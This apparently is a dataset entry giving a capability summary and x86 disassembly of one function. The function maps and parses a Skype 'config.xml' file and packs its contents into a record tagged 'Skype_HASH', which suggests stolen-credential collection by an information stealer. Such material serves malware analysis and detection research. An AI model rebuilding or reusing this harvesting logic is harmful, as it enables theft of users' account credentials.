Function at 0x409943
Capabilities:
Get file size
Get number of processors
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41dd6c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x280
push ebx
push esi
push edi
lea eax, [esp + 0x5c]
push eax
call fcn.00401108
xor ebx, ebx
mov dword [esp + 0x294], ebx
mov eax, dword [ebp + 0x14]
push dword [eax]
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4215cc
lea eax, [esp + 0x84]
push eax
call esi
mov eax, dword [ebp + 0x10]
add eax, 0x2c
push eax
mov dword [esp + 0x48], eax
lea eax, [esp + 0x84]
push eax
call esi
push str.config.xml
lea eax, [esp + 0x84]
push eax
call esi
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], eax
xor esi, esi
lea eax, [esp + 0x80]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x3c], esi
test eax, eax
jne 0x4099f3
or dword [esp + 0x10], 0xffffffff
jmp 0x409a05
push ebx
lea eax, [esp + 0x84]
push eax
call fcn.004047b2
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
cmp eax, 0xffffffff
je 0x409a4a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov esi, eax
push esi
push ebx
push 2
push ebx
push dword [esp + 0x24]
mov dword [esp + 0x54], esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x30], eax
cmp eax, ebx
je 0x409a4a
push esi
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x34], eax
mov edi, eax
mov byte [esp + 0x294], 1
mov dword [esp + 0x28], esi
cmp esi, ebx
je 0x409d94
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x4c]
push eax
push edi
call fcn.00409667
add esp, 0xc
test al, al
je 0x409d6c
mov esi, dword [esp + 0x28]
shr esi, 1
cmp esi, 0x6400000
ja 0x409ac9
cmp esi, ebx
jne 0x409a8e
xor esi, esi
inc esi
add esi, 4
cmp dword [0x42ca0c], ebx
jne 0x409aa2
call fcn.00405c10
cmp al, bl
je 0x409ad3
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x42ca0c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x409ac3
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x14], eax
jmp 0x409acd
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x14], ebx
jne 0x409b25
mov byte [esp + 0x294], bl
cmp edi, ebx
je 0x409ae5
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x30], ebx
je 0x409af7
push dword [esp + 0x30]
call esi
cmp dword [esp + 0x10], ebx
je 0x409b0a
cmp dword [esp + 0x10], 0xffffffff
je 0x409b0a
push dword [esp + 0x10]
call esi
mov bl, 1
or dword [esp + 0x294], 0xffffffff
lea eax, [esp + 0x5c]
push eax
call fcn.0040114f
mov al, bl
jmp 0x409ddf
mov ecx, dword [ebp + 8]
push str.RtlCharToInteger
mov ebx, str.ntdll.dll
call fcn.004010c5
xor ebx, ebx
mov dword [esp + 0xc], eax
cmp eax, ebx
jne 0x409b7a
mov byte [esp + 0x294], bl
cmp edi, ebx
je 0x409b53
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x30], ebx
je 0x409b65
push dword [esp + 0x30]
call esi
cmp dword [esp + 0x10], ebx
je 0x409b0c
cmp dword [esp + 0x10], 0xffffffff
je 0x409b0c
push dword [esp + 0x10]
call esi
jmp 0x409b0c
xor esi, esi
xor edi, edi
mov dword [esp + 0x40], ebx
cmp dword [esp + 0x28], ebx
jbe 0x409bba
mov eax, dword [esp + 0x48]
add eax, esi
push 2
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00413290
mov eax, dword [esp + 0x20]
add esp, 0xc
add eax, edi
push eax
push 0x10
lea eax, [esp + 0x48]
push eax
call dword [esp + 0x18]
add esi, 2
inc edi
cmp esi, dword [esp + 0x28]
jb 0x409b88
mov eax, dword [ebp + 0x14]
push dword [eax + 4]
mov eax, dword [esp + 0x18]
push edi
call fcn.004097f1
pop ecx
pop ecx
test al, al
je 0x409d5d
lea esi, [esp + 0x4c]
call fcn.00405d11
mov byte [esp + 0x294], 2
push ebx
push dword [esp + 0x18]
mov ecx, esi
push 0x10
pop eax
call fcn.004060be
lea esi, [esp + 0x18]
call fcn.00405d11
mov byte [esp + 0x294], 3
cmp dword [esp + 0x44], ebx
je 0x409d3b
push ebx
lea eax, [esp + 0x10]
push eax
push 4
pop edi
mov eax, edi
mov ecx, esi
mov dword [esp + 0x14], 0x77010101
call fcn.004060be
push str.Skype
mov eax, esi
push eax
call fcn.004025f0
push ebx
mov eax, esi
push eax
call fcn.004025f0
push ebx
mov eax, esi
push eax
call fcn.004025f0
push dword [esp + 0x44]
mov eax, esi
push eax
call fcn.004025f0
push ebx
mov eax, esi
push eax
call fcn.004025f0
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x14], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x14], ebx
call fcn.004060be
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x14], ebx
call fcn.004060be
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [esp + 0xc], eax
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
mov ecx, esi
call fcn.004060be
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
mov ecx, esi
mov dword [esp + 0x14], 3
call fcn.004060be
mov esi, dword [esp + 0x50]
push ebx
lea eax, [esp + 0x10]
push eax
mov eax, edi
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], esi
call fcn.004060be
cmp esi, ebx
jle 0x409cf3
push ebx
push dword [esp + 0x50]
mov eax, esi
lea ecx, [esp + 0x20]
call fcn.004060be
push str.Skype_HASH
lea eax, [esp + 0x1c]
push eax
call fcn.004025f0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
call fcn.00406173
push dword [esp + 0x1c]
mov esi, dword [ebp + 8]
push ebx
push 0x64
push esi
call fcn.00403aef
push eax
push 0xff0f8211
push dword [esp + 0x30]
push dword [esp + 0x30]
call fcn.0040242d
mov byte [esp + 0x294], 2
lea esi, [esp + 0x18]
call fcn.00405f2c
mov byte [esp + 0x294], 1
lea esi, [esp + 0x4c]
call fcn.00405f2c
push dword [esp + 0x14]
call fcn.00405c44
mov edi, dword [esp + 0x34]
xor ebx, ebx
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov ecx, dword [ebp + 8]
push ebx
push 0x4098b7
push ebx
push 1
push 5
lea edx, [esp + 0x94]
call fcn.00404959
mov byte [esp + 0x294], bl
cmp edi, ebx
je 0x409da6
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x30], ebx
je 0x409db8
push dword [esp + 0x30]
call esi
cmp dword [esp + 0x10], ebx
je 0x409dcb
cmp dword [esp + 0x10], 0xffffffff
je 0x409dcb
push dword [esp + 0x10]
call esi
or dword [esp + 0x294], 0xffffffff
lea eax, [esp + 0x5c]
push eax
call fcn.0040114f
mov al, 1
mov ecx, dword [esp + 0x28c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret